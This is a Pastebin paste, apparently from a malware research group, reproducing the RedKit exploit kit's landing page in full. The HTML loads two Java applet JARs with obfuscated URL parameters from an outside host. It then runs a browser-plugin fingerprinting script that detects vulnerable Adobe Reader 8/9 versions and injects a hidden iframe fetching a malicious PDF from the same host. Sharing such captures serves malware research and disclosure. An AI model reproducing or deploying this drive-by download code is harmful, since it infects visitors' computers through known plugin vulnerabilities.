Advertisement
MalwareMustDie

RedKit - Landing page script 20120112

Jan 11th, 2013
2,066
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <html><body><td>To unshedo dome iy unhehe an ithasshea de detovo deunheshe we me.</td><applet archive="http://windermerecottage.co.uk/332.jar" code="Runs.class"><param name="elitken" value="lbwllobapopmyellobapoptowllobapophllllobapop.9kllobapop3xbllobapop3c9llobapop/k3llobapopkhhllobapopufgllobapop.zvllobapopogsllobapopc3cllobapop.05llobapope8sllobapopgc6llobapopahcllobapopt3bllobapoptyallobapopo06llobapopchyllobapope1illobapopr0cllobapopey9llobapopmswllobapoprdgllobapope1ellobapopd29llobapopnehllobapopi2allobapopwgallobapop/dfllobapop/p2llobapop:l1llobapopp3bllobapoptf9llobapopt8yllobapophw2llobapop"></applet><applet archive="http://windermerecottage.co.uk/887.jar" code="Runs.class"><param name="elitken" value="l3xllobapopmhvllobapopt5rllobapophvillobapop.kwllobapop1xmllobapop40qllobapop/sgllobapopk6xllobapopurcllobapop.3mllobapopo8ellobapopcyollobapop.3gllobapope31llobapopgtillobapopa21llobapopt0wllobapoptg9llobapopow8llobapopcxgllobapope53llobapoprv5llobapopez3llobapopm3dllobapopreyllobapope0tllobapopdlmllobapopnwbllobapopi1tllobapopw02llobapop/ifllobapop/tbllobapop:aillobapopplpllobapoptc3llobapoptw0llobapophd1llobapop"></applet><script type="text/javascript">     var jsou = "src";
  2.         var astxty=document.createElement("iframe");
  3.         function dettq()
  4.         {
  5.         document.body.appendChild(astxty);
  6.         astxty.setAttribute(jsou,"http://windermerecottage.co.uk/987.pdf");
  7.         }
  8.         var Ganni={version:"0.7.7",rDate:"04/11/2012",name:"Ganni",handler:function(c,b,a)return function(){c(b,a)}},isDefined:function(b)return typeof b!="undefined"},isArray:function(b)return(/array/i).test(Object.prototype.toString.call(b))},isFunc:function(b)return typeof b=="function"},isString:function(b)return typeof b=="string"},isNum:function(b)return typeof b=="number"},isStrNum:function(b)return(typeof b=="string"&&(/\d/).test(b))},getNumRegx:/[\d][\d\.\_,-]*/,splitNumRegx:/[\.\_,-]/g,getNum:function(b,c)var d=this,a=d.isStrNum(b)?(d.isDefined(c)?new RegExp(c):d.getNumRegx).exec(b):null;return a?a[0]:null},compareNums:function(h,f,d)var e=this,c,b,a,g=parseInt;if(e.isStrNum(h)&&e.isStrNum(f))if(e.isDefined(d)&&d.compareNums)return d.compareNums(h,f)}c=h.split(e.splitNumRegx);b=f.split(e.splitNumRegx);for(a=0;a<Math.min(c.length,b.length);a++)if(g(c[a],10)>g(b[a],10))return 1}if(g(c[a],10)<g(b[a],10))return -1}}}return 0},formatNum:function(b,c)var d=this,a,e;if(!d.isStrNum(b))return null}if(!d.isNum(c)){c=4}c--;e=b.replace(/\s/g,"").split(d.splitNumRegx).concat(["0","0","0","0"]);for(a=0;a<4;a++)if(/^(0+)(.+)$/.test(e[a])){e[a]=RegExp.$2}if(a>c||!(/\d/).test(e[a])){e[a]="0"}}return e.slice(0,4).join(",")},$$hasMimeType:function(a)return function(c)if(!a.isIE&&c)var f,e,b,d=a.isArray(c)?c:(a.isString(c)?[c]:[]);for(b=0;b<d.length;b++)if(a.isString(d[b])&&/[^\s]/.test(d[b])){f=navigator.mimeTypes[d[b]];e=f?f.enabledPlugin:0;if(e&&(e.name||e.description))return f}}}}return null}},findNavPlugin:function(l,e,c)var j=this,h=new RegExp(l,"i"),d=(!j.isDefined(e)||e)?/\d/:0,k=c?new RegExp(c,"i"):0,a=navigator.plugins,g="",f,b,m;for(f=0;f<a.length;f++){m=a[f].description||g;b=a[f].name||g;if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext))))if(!k||!(k.test(m)||k.test(b)))return a[f]}}}return null},getMimeEnabledPlugin:function(k,m,c)var e=this,f,b=new RegExp(m,"i"),h="",g=c?new RegExp(c,"i"):0,a,l,d,j=e.isString(k)?[k]:k;for(d=0;d<j.length;d++)if((f=e.hasMimeType(j[d]))&&(f=f.enabledPlugin)){l=f.description||h;a=f.name||h;if(b.test(l)||b.test(a))if(!g||!(g.test(l)||g.test(a)))return f}}}}return 0},getPluginFileVersion:function(f,b)var h=this,e,d,g,a,c=-1;if(h.OS2||!f||!f.version||!(e=h.getNum(f.version)))return b}if(!b)return e}e=h.formatNum(e);b=h.formatNum(b);d=b.split(h.splitNumRegx);g=e.split(h.splitNumRegx);for(a=0;a<d.length;a++)if(c>-1&&a>c&&d[a]!="0")return b}if(g[a]!=d[a])if(c==-1){c=a}if(d[a]!="0")return b}}}return e},AXO:window.ActiveXObject,getAXO:function(a)var f=null,d,b=this,c=};try{f=new b.AXO(a)}catch(d)}return f},convertFuncs:function(f)var a,g,d,b=/^[$][$]/,c=this;for(a in f)if(b.test(a))try{g=a.slice(2);if(g.length0&&!f[g]){f[g]=f[a](f);delete f[a]}}catch(d)}}}},initObj:function(e,b,d)var a,c;if(e)if(e[b[0]]==1||d)for(a=0;a<b.length;a=a+2){e[b[a]]=b[a+1]}}for(a in e){c=e[a];if(c&&c[b[0]]==1)this.initObj(c,b)}}}},initScript:function()var c=this,a=navigator,e="/",f,i=a.userAgent||"",g=a.vendor||"",b=a.platform||"",h=a.product||"";c.initObj(c,["$",c]);for(f in c.Plugins)if(c.Plugins[f]){c.initObj(c.Plugins[f],["$",c,"$$",c.Plugins[f]],1)}};c.OS=100;if(b)var d=["Win",1,"Mac",2,"Linux",3,"FreeBSD",4,"iPhone",21.1,"iPod",21.2,"iPad",21.3,"Win.*CE",22.1,"Win.*Mobile",22.2,"Pocket\s*PC",22.3,"",100];for(f=d.length-2;f>=0;f=f-2)if(d[f]&&new RegExp(d[f],"i").test(b)){c.OS=d[f+1];break}}}c.convertFuncs(c);c.head=(document.getElementsByTagName("head")[0]||document.getElementsByTagName("body")[0]||document.body||null);c.isIE=(new Function("return "+e+"*@cc_on!@*"+e+"false"))();c.verIE=c.isIE&&(/MSIE\s*(\d+\.?\d*)/i).test(i)?parseFloat(RegExp.$1,10):null;c.ActiveXEnabled=false;if(c.isIE)var f,j=["Msxml2.XMLHTTP","Msxml2.DOMDocument","Microsoft.XMLDOM","ShockwaveFlash.ShockwaveFlash","TDCCtl.TDCCtl","Shell.UIHelper","Scripting.Dictionary","wmplayer.ocx"];for(f=0;f<j.length;f++)if(c.getAXO(j[f])){c.ActiveXEnabled=true;break}}}c.isGecko=(/Gecko/i).test(h)&&(/Gecko\s*\/\s*\d/i).test(i);c.verGecko=c.isGecko?c.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(i)?RegExp.$1:"0.9"):null;c.isChrome=(/Chrome\s*\/\s*(\d[\d\.]*)/i).test(i);c.verChrome=c.isChrome?c.formatNum(RegExp.$1):null;c.isSafari=((/Apple/i).test(g)||(!g&&!c.isChrome))&&(/Safari\s*\/\s*(\d[\d\.]*)/i).test(i);c.verSafari=c.isSafari&&(/Version\s*\/\s*(\d[\d\.]*)/i).test(i)?c.formatNum(RegExp.$1):null;c.isOpera=(/Opera\s*[\/]?\s*(\d+\.?\d*)/i).test(i);c.verOpera=c.isOpera&&((/Version\s*\/\s*(\d+\.?\d*)/i).test(i)||1)?parseFloat(RegExp.$1,10):null;c.addWinEvent("load",c.handler(c.runWLfuncs,c))},init:function(d)var c=this,b,d,a={status:-3,plugin:0};if(!c.isString(d))return a}if(d.length==1){c.getVersionDelimiter=d;return a}d=d.toLowerCase().replace(/\s/g,"");b=c.Plugins[d];if(!b||!b.getVersion)return a}a.plugin=b;if(!c.isDefined(b.installed)){b.installed=null;b.version=null;b.version0=null;b.getVersionDone=null;b.pluginName=d}c.garbage=false;if(c.isIE&&!c.ActiveXEnabled&&d!=="java"){a.status=-2;return a}a.status=1;return a},fPush:function(b,a)var c=this;if(c.isArray(a)&&(c.isFunc(b)||(c.isArray(b)&&b.length0&&c.isFunc(b[0])))){a.push(b)}},callArray:function(b)var c=this,a;if(c.isArray(b))for(a=0;a<b.length;a++)if(b[a]===null)return}c.call(b[a]);b[a]=null}}},call:function(c)var b=this,a=b.isArray(c)?c.length:-1;if(a>0&&b.isFunc(c[0])){c[0](b,a>1?c[1]:0,a>2?c[2]:0,a>3?c[3]:0)}elseif(b.isFunc(c)){c(b)}}},getVersionDelimiter:",",$$getVersion:function(a)return function(g,d,c)var e=a.init(g),f,b,h=};if(e.status0)return null};f=e.plugin;if(f.getVersionDone!=1){f.getVersion(null,d,c);if(f.getVersionDone===null){f.getVersionDone=1}}a.cleanup();b=(f.version||f.version0);b=b?b.replace(a.splitNumRegx,a.getVersionDelimiter):b;return b}},cleanup:function()},addWinEvent:function(d,c)var e=this,a=window,b;if(e.isFunc(c))if(a.addEventListener){a.addEventListener(d,c,false)}elseif(a.attachEvent){a.attachEvent("on"+d,c)}else{b=a["on"+d];a["on"+d]=e.winHandler(c,b)}}}},winHandler:function(d,c)return function(){d();if(typeof c=="function"){c()}}},WLfuncs0:[],WLfuncs:[],runWLfuncs:function(a)var b=};a.winLoaded=true;a.callArray(a.WLfuncs0);a.callArray(a.WLfuncs);if(a.onDoneEmptyDiv){a.onDoneEmptyDiv()}},winLoaded:false,$$onWindowLoaded:function(a)return function(b)if(a.winLoaded){a.call(b)}else{a.fPush(b,a.WLfuncs)}}},div:null,divID:"Ganni",divWidth:50,pluginSize:1,emptyDiv:function()var d=this,b,h,c,a,f,g;if(d.div&&d.div.childNodes)for(b=d.div.childNodes.length-1;b>=0;b--){c=d.div.childNodes[b];if(c&&c.childNodes)for(h=c.childNodes.length-1;h>=0;h--){g=c.childNodes[h];try{c.removeChild(g)}catch(f)}}}if(c)try{d.div.removeChild(c)}catch(f)}}}}if(!d.div){a=document.getElementById(d.divID);if(a){d.div=a}}if(d.div&&d.div.parentNode)try{d.div.parentNode.removeChild(d.div)}catch(f)}d.div=null}},DONEfuncs:[],onDoneEmptyDiv:function()var c=this,a,b;if(!c.winLoaded)return}if(c.WLfuncs&&c.WLfuncs.length&&c.WLfuncs[c.WLfuncs.length-1]!==null)return}for(a in c){b=c[a];if(b&&b.funcs)if(b.OTF==3)return}if(b.funcs.length&&b.funcs[b.funcs.length-1]!==null)return}}}for(a=0;a<c.DONEfuncs.length;a++){c.callArray(c.DONEfuncs)}c.emptyDiv()},getWidth:function(c)if(c)var a=c.scrollWidth||c.offsetWidth,b=this;if(b.isNum(a))return a}}return -1},getTagStatus:function(m,g,a,b)var c=this,f,k=m.span,l=c.getWidth(k),h=a.span,j=c.getWidth(h),d=g.span,i=c.getWidth(d);if(!k||!h||!d||!c.getDOMobj(m))return -2}if(j<i||l<0||j<0||i<0||i<=c.pluginSize||c.pluginSize1)return 0}if(l>=i)return -1}tryif(l==c.pluginSize&&(!c.isIE||c.getDOMobj(m).readyState==4))if(!m.winLoaded&&c.winLoaded)return 1}if(m.winLoaded&&c.isNum(b))if(!c.isNum(m.count)){m.count=b}if(b-m.count=10)return 1}}}}catch(f)}return 0},getDOMobj:function(g,a)var f,d=this,c=g?g.span:0,b=c&&c.firstChild?1:0;tryif(b&&a){d.div.focus()}}catch(f)}return b?c.firstChild:null},setStyle:function(b,g)var f=b.style,a,d,c=this;if(f&&g)for(a=0;a<g.length;a=a+2)try{f[g[a]]=g[a+1]}catch(d)}}}},insertDivInBody:function(a,i)var h,f=this,b="pd33993399",d=null,j=i?window.top.document:window.document,c="<",g=(j.getElementsByTagName("body")[0]||j.body);if(!g)try{j.write(c+'div id="'+b+'">o'+c+"/div>");d=j.getElementById(b)}catch(h)}}g=(j.getElementsByTagName("body")[0]||j.body);if(g)if(g.firstChild&&f.isDefined(g.insertBefore)){g.insertBefore(a,g.firstChild)}else{g.appendChild(a)}if(d){g.removeChild(d)}}else}},insertHTML:function(g,b,h,a,l)var m,n=document,k=this,q,p=n.createElement("span"),o,j,f="<";var c=["outlineStyle","none","borderStyle","none","padding","0px","margin","0px","visibility","visible"];var i="outline-style:none;border-style:none;padding:0px;margin:0px;visibility:visible;";if(!k.isDefined(a)){a=""}if(k.isString(g)&&(/[^\s]/).test(g)){g=g.toLowerCase().replace(/\s/g,"");q=f+g+' width="'+k.pluginSize+'" height="'+k.pluginSize+'" ';q+='style="'+i+'display:inline;" ';for(o=0;o<b.length;o=o+2)if(/[^\s]/.test(b[o+1])){q+=b[o]+'="'+b[o+1]+'" '}}q+=">";for(o=0;o<h.length;o=o+2)if(/[^\s]/.test(h[o+1])){q+=f+'param name="'+h[o]+'" value="'+h[o+1]+'" />'}}q+=a+f+"/"+g+">"}else{q=a}if(!k.div){j=n.getElementById(k.divID);if(j){k.div=j}else{k.div=n.createElement("div");k.div.id=k.divID}k.setStyle(k.div,c.concat(["width",k.divWidth+"px","height",(k.pluginSize+3)+"px","fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","block"]));if(!j){k.setStyle(k.div,["position","absolute","right","0px","top","0px"]);k.insertDivInBody(k.div)}}if(k.div&&k.div.parentNode){k.setStyle(p,c.concat(["fontSize",(k.pluginSize+3)+"px","lineHeight",(k.pluginSize+3)+"px","verticalAlign","baseline","display","inline"]));try{p.innerHTML=q}catch(m)};try{k.div.appendChild(p)}catch(m)};return{span:p,winLoaded:k.winLoaded,tagName:g,outerHTML:q}}return{span:null,winLoaded:k.winLoaded,tagName:"",outerHTML:q}},Plugins:{adobereader:{mimeType:"application/pdf",navPluginObj:null,progID:["AcroPDF.PDF","PDF.PdfCtrl"],classID:"clsid:CA8A9780-280D-11CF-A24D-444553540000",INSTALLED:},pluginHasMimeType:function(d,c,f)var b=this,e=b.$,a;for(a in d)if(d[a]&&d[a].type&&d[a].type==c)return 1}}if(e.getMimeEnabledPlugin(c,f))return 1}return 0},getVersion:function(l,j)var g=this,d=g.$,i,f,m,n,b=null,h=null,k=g.mimeType,a,c;if(d.isString(j)){j=j.replace(/\s/g,"");if(j){k=j}}else{j=null}if(d.isDefined(g.INSTALLED[k])){g.installed=g.INSTALLED[k];return}if(!d.isIE){a="Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";if(g.getVersionDone!==0){g.getVersionDone=0;b=d.getMimeEnabledPlugin(g.mimeType,a);if(!j){n=b}if(!b&&d.hasMimeType(g.mimeType)){b=d.findNavPlugin(a,0)}if(b){g.navPluginObj=b;h=d.getNum(b.description)||d.getNum(b.name);h=d.getPluginFileVersion(b,h);if(!h&&d.OS==1)if(g.pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a)){h="9"}elseif(g.pluginHasMimeType(b,"application/vnd.adobe.x-mars",a)){h="8"}}}}}else{h=g.version}if(!d.isDefined(n)){n=d.getMimeEnabledPlugin(k,a)}g.installed=n&&h?1:(n?0:(g.navPluginObj?-0.2:-1))}else{b=d.getAXO(g.progID[0])||d.getAXO(g.progID[1]);c=/=\s*([\d\.]+)/g;try{f=(b||d.getDOMobj(d.insertHTML("object",["classid",g.classID],["src",""],"",g))).GetVersions();for(m=0;m<5;m++)if(c.test(f)&&(!h||RegExp.$1>h)){h=RegExp.$1}}}catch(i)}g.installed=h?1:(b?0:-1)}if(!g.version){g.version=d.formatNum(h)}g.INSTALLED[k]=g.installed}},zz:0}};
  9.         Ganni.initScript();
  10.        
  11.         flopp=Ganni.getVersion("AdobeReader");
  12.         if(flopp)
  13.         {
  14.             flopp=flopp.split(',');
  15.             var g = 8;
  16.             var e = g + 1;
  17.             var f = 4;
  18.             a = flopp[0];
  19.             b = flopp[1];
  20.             stifler = true;
  21.             if(b < f && (a == g || a == e)) stifler=false;
  22.             if (!stifler)
  23.             {    
  24.                 astxty.setAttribute("width",15);
  25.                 astxty.setAttribute("height",51);
  26.              
  27.                 dettq();
  28.             }
  29.  
  30.         }/script></body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement